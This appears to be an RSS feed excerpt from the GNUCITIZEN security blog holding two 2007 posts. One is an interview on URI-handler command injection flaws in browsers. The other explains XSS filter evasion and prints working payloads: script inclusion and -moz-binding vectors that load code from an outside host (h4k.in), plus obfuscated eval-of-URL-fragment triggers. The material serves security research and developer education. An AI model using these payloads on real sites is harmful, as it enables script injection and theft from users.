<p>Billy was eating a peanut butter and jelly sandwich and a big glob of peanut butter fell on the keyboard and typed res:// and pushed enter into his IE window. No, seriously, Rios discovered some interesting stuff with the res:// URI, shortly there after I discovered some articles around the ms-its:// URI and figured this may be an avenue of attack.  I did some research on IANA registered URI&#8217;s, then found a way to query the Windows registry to determine all registered URI&#8217;s and the commands that are run when they are accessed by a browser (this was later turned into the DUH tool  by <a href="http://erik.cabetas.com/?p=stuff">Erik Cabetas</a>. Shortly there after, I discovered the <a href="http://www.xs-sniper.com/nmcfeters/Cross-App-Scripting-2.html">Trillian AIM stack overflow flaw</a> and Rios discovered the Integer overflow in res:// (MS07-035) and we knew we were on to something hot. Around this time Rios  and Thor discovered the FirefoxURL command injection and Rios and I got busy putting together a string of command injection attacks. We <a href="http://www.xs-sniper.com/nmcfeters/Cross-App-Scripting-2.html">found one</a> in Trillian exploitable thru the IE browser, the <a href="http://secunia.com/advisories/26082/">navigatorurl flaw</a> exploitable thru IE, and the list goes on and on (see below).</p>


<h3>Q: what testing methods did you use?</h3>

<p>The primary point was the research around what URI&#8217;s existed&#8230; we had some other methods, using regmon and filemon that we&#8217;ll hopefully detail in full at BH Japan or another conference this year.  Additionally, Rios&#8217;s use of
filemon to see what files were getting accessed was key to the successful exploitations around this issue.</p>

<h3>Q: where do you see the greatest danger in the discovered issues?</h3>

<p>The attack surface really.  I mean, that&#8217;s what XSS is all about&#8230; a persistent one, you post it in one place the attack hits everyone, but now, instead of stealing someone&#8217;s cookies we&#8217;re running arbitrary coammnds on
their machine. Additionally, we keep saying this is just the tip of the iceberg.  Right now everyone is focued on preventing these command injections, but the real flaws will be exposed in the functionality that the
applications tied to these URIs expose.</p>

<h3>Q: what&#8217;s you disclosure ethics regarding issues with impact that high?</h3>

<p>Constantly changing&#8230; we&#8217;ve had some difficulty with this. We&#8217;ve encountered several headaches when attempting to disclose directly to the Vendors including the recent PR war&#8230; additionally, we&#8217;ve encountered
headaches when trying to disclose to vulnerability puchase programs&#8230;. which I won&#8217;t get into at this time.  Finally, when Rios released the MS07-035 we heard a lot of complaints from the community about us sitting on
the vulnerability and not reporting it to people since it had been around so long.  I think it&#8217;s a lose, lose, lose situation at times.</p>

<p>Full disclosure allows for the fastest reponse time, keeping the exploitation window small. It allows corporations to take measures to protect themselves before the patch is released, especially when released in conjunction with temporary fixes such as noscript sigs, php ids sigs, and user controllable fixes (like modifying the registry in our case).</p>

<h3>Q: what&#8217;s next on the road map?</h3>

<p>Attacking other browsers and other platforms&#8230; there&#8217;s also a few methods of obfuscating these attacks that may be useful, and of course we have the aforementioned attacks against the functionality exposed by these URIs. Rios&#8217;s presentation on anti-DNS pinning within the Java Virtual Machine (which will hopefully take place at BH Japan,etc.) scares me terribly.  This dangling pointers issue at BH this year is causing a big stir.</p>

<p>Here is our discovered vulnerabilities in several URI&#8217;s. The first portion is really the main one that is due to browsers not properly sanitizing data, the others result from the backing applications not properly sanitizing data or on the backing applications functionality.</p>

<h4>Command Injection Flaws due to browsers not properly sanitizing data:</h4>

<ul>
<li>mailto, news, snews, nntp, telnet &#8211; <a href="http://xs-sniper.com/blog/remote-command-exec-firefox-2005/">http://xs-sniper.com/blog/remote-command-exec-firefox-2005/</a></li>
<li>aim &#8211; <a href="http://secunia.com/advisories/26086/">http://secunia.com/advisories/26086/</a></li>
<li>firefoxurl &#8211; <a href="http://secunia.com/advisories/25984/">http://secunia.com/advisories/25984/</a></li>
<li>navigatorurl &#8211; <a href="http://secunia.com/advisories/26082/">http://secunia.com/advisories/26082/</a></li>
</ul>

<h4>Overflow Conditions due to applications not properly sanitizing data:</h4>

<ul>
<li>aim &#8211; <a href="http://secunia.com/advisories/26086/">http://secunia.com/advisories/26086/</a></li>
<li>res &#8211; <a href="http://www.microsoft.com/technet/security/Bulletin/MS07-035.mspx">http://www.microsoft.com/technet/security/Bulletin/MS07-035.mspx</a></li>
</ul>

<h4>Local Program Enumeration in IE7:</h4>

<ul>
<li>res &#8211; <a href="http://xs-sniper.com/blog/2007/07/20/more-uri-stuff-ies-resouce-uri/">http://xs-sniper.com/blog/2007/07/20/more-uri-stuff-ies-resouce-uri/</a></li>
</ul>

<h4>Local Program Enumeration in Firefox:</h4>

<ul>
<li>resource &#8211; <a href="http://ha.ckers.org/blog/20070516/read-firefox-settings-poc/#comment-35888">http://ha.ckers.org/blog/20070516/read-firefox-settings-poc/#comment-35888</a></li>
</ul>

<h4>Functionality Abuse on Firefox:</h4>

<ul>
<li>data &#8211; <a href="http://www.xs-sniper.com/nmcfeters/Data-Phishing.html">http://www.xs-sniper.com/nmcfeters/Data-Phishing.html</a></li>
</ul><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/interview-with-xs-snipers/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>The new dawn of filter evasion</title>
		<link>http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion/</link>
		<comments>http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion/#comments</comments>
		<pubDate>Fri, 13 Jul 2007 06:57:16 +0000</pubDate>
		<dc:creator>.mario</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[filtering]]></category>
		<category><![CDATA[filters]]></category>

		<guid isPermaLink="false">http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion</guid>
		<description><![CDATA[This article is about the most important phase when attacking web applications. The phase when the markup has just been broken and the attacker will try to inject his own markup, script code or other data &#8211; let&#8217;s call it the PMBP (post-markup-breaking-phase). This phase is mostly possible to occur when quotes aren&#8217;t correctly sanitized or when input is placed between two tags. In this article we will set the focus on the first variant &#8211; the attribute injection. [...]]]></description>
			<content:encoded><![CDATA[<p>This article is about the most important phase when attacking web applications. The phase when the markup has just been broken and the attacker will try to inject his own markup, script code or other data &#8211; let&#8217;s call it the PMBP (post-markup-breaking-phase). This phase is mostly possible to occur when quotes aren&#8217;t correctly sanitized or when input is placed between two tags. In this article we will set the focus on the first variant &#8211; the attribute injection. And we will prove that protecting your markup from being broke into is the very most important task in client side security.</p>

<h3>Basic filtering</h3>

<p>Many developers use standard filter functions to sanitize their output. Mostly a good idea, but the developer has to know what his filters and the attacker is capable of. Some say that the developer is to blame for the bugs, because he/she doesn&#8217;t implement properly the security examples as they come from the books. Developers usually does not have enough <em>time</em> and knowledge for cutting edge security research. Mostly of the time they need to chose between stripping the tags, converting HTML and special characters to entities, urlencoding the input, using approaches like <a href="http://php.net/manual/en/function.escapeshellcmd.php">escapeshellcmd()</a> or even combining those filtering methods, in order to secure the applications they are working on. Usually those methods aren&#8217;t used and combined with exact knowledge and so they tear open security holes or even cripple the user experience in some situations. Did you know that PHP&#8217;s <a href="http://php.net/manual/en/function.escapeshellcmd.php">escapeshellcmd()</a> leaves the characters <code>.-=a-Z0-9, space and /</code> untouched? This function is recommended by several books as a good filter alternative.</p>

<h3>Get it running</h3>

<p>So what is the attacker able to do when he/she breaks out the markup, and injects new tags and attributes? When new tags can be injected the site is considered owned &#8211; even if there are filters that block script tags and iframes. It is interesting to look at the attributes. Depending on the browser &#8211; we&#8217;re talking about the two major ones in this article &#8211; there are several ways to inject attributes that will fire JavaScript without requiring user interaction. If the attacker breaks out a tag which points to binary contents, like a link tag, an img tag or even an iframe, embed or object we can use the onerror handler and provide a crippled source attribute. Once the browser tries to load a source like <em>xxx</em> it will fail and fire the event &#8211; for which we already injected a handler (javascript function call). On the other hand, we can utilize the style tag to create XSS without user interaction. Both gecko based browsers and all important IE versions ship proprietary selectors and methods to execute JavaScript within a style tag or attribute &#8211; just to name a few, we have: <em>-moz-binding</em> and <em>expression()</em>. In order to exploit these situations the attacker has to inject more code. I&#8217;ve seen several websites where developers seemed to know that and had implemented filters that stripped a bunch of special chars &#8211; sometimes dot and brackets, sometimes other stuff &#8211; to avoid the injection of active code. Unfortunately, there&#8217;s a way to circumvent all of them.</p>

<h3>Circumvent the ignorance</h3>

<p>One of the most common filters &#8211; never understood why &#8211; is the stripping of the pattern <em>http://</em>. It seems thousands of developers out there believe that without this string it&#8217;s not possible to get an external inclusion running and furthermore without an external inclusion you can&#8217;t do much bad stuff on the targeted application. This is not true. It has been moths ago since I&#8217;ve published a miniaturized vector for script inclusions &#8211; 20 characters of length which does not have the <em>http://</em> string. The cross browser version is 27 characters in length. Same goes for filtering the dot, brackets, spaces etc. Here is an example:</p>

<pre><code>&lt;script src=//h4k.in</code></pre> 

<p>Some filters transform all user input to uppercase letters &#8211; which is more useless than stripping <em>http://</em> string. A major portal about a server side programming languages once suffered from a bad filter which stripped out all event handlers beginning with <em>on\w+</em> and <em>style</em>. This is good example. Plain stripping will <strong>never</strong> make sense &#8211; the filter was easily circumvented by the following:</p>

<pre><code>sstyle="foobar"tstyle="foobar"ystyle="foobar"lstyle="foobar"estyle="foobar"=-moz-binding:url(http://h4k.in/mozxssc.xml#xss)&gt;foo</code></pre>

<p>But it&#8217;s even getting better. Some weeks ago a pretty new and very intelligent kind of filter evading vectors came to light &#8211; these vectors were capable of carrying large payloads in totally stealth mode. These vectors does not require externally hosted scripts to perform the task. This is the reason why they are called <a href="http://www.gnucitizen.org/blog/one-drop-on-a-spider-web">self contained XSS</a>.</p>

<h3>CSO&#8217;s nightmare</h3>

<p>Self contained XSS is mostly based on the fact, that it&#8217;s possible to pass values via URL, that are seen by the client only, but not by the server. Those values are called fragment identifiers. Everything passed behind the URL hash (#) is only visible to the client which includes the JavaScript runtime engine. So, the attacker just needs to inject a code snippet that evaluates the contents of this part of the URL &#8211; which is mostly very short and contains no information of what the real payload consists of. Due to the very dynamic nature of JavaScript it is possible to create <em>myriads</em> of variants of those payload triggers and in combination with browser peculiarities the possibilities of creating these triggers become uncountable. Here is an exmaple</p>

<pre><code>eval.call(this,unescape.call(this,location))</code></pre>
<pre><code>code:_=eval,__=unescape,___=document.URL,_(__(___)) code:with(location)with(hash)eval(substring(1))</code></pre>

<p>Of course, it&#8217;s also possible to rip these functions apart, shuffle their fragments and compose them back together at the end like this:</p>
 
<pre><code>l=0||'str',m= 0||'sub',x= 0||'al',y= 0||'ev',g= 0||'tion.h',f= 0 ||'ash',k= 0||'loca',d=(k)+(g)+(f),a</code></pre>

<h3>Conclusion and credits</h3>

<p>So &#8211; why are we showing all those vectors and talking about all the possibilities to hide, obfuscate possible attacks and evade filter mechanisms? To prove a point, I must say! Once the attacker breaks the markup he/she becomes in charge of that content &#8211; whether there&#8217;s a filter between the application and the user or not. There&#8217;s no way of finding a perfect balance between effective filtering and not crippling the user&#8217;s experience. To make it short &#8211; the PMBP <strong>must</strong> never happen. In order to make this article a dirty cliffhanger &#8211; in the next part we will talk about how to avoid this exact phase. We&#8217;ll learn how to make sure the user won&#8217;t be annoyed by your filter and still guaranteeing stalwart security too. Credits for the shown vectors go the author, the <a href="http://groups.google.de/group/php-ids/">PHPIDS Group</a>, <a href="http://maone.net/">Giorgio Maone</a>, <a href="http://wasjournal.blogspot.com/">Kishor</a>, <a href="http://the-mice.co.uk/switch/">Martin Hinks</a>, <a href="http://christ1an.blogspot.com/">Christian Matthies</a>, <a href="http://www.sirdarckcat.net/">sirdarckcat</a> and the guys from <a href="http://sla.ckers.org/forum/">sla.ckers.org</a>.</p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/the-new-dawn-of-filter-evasion/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
	</channel>
</rss>

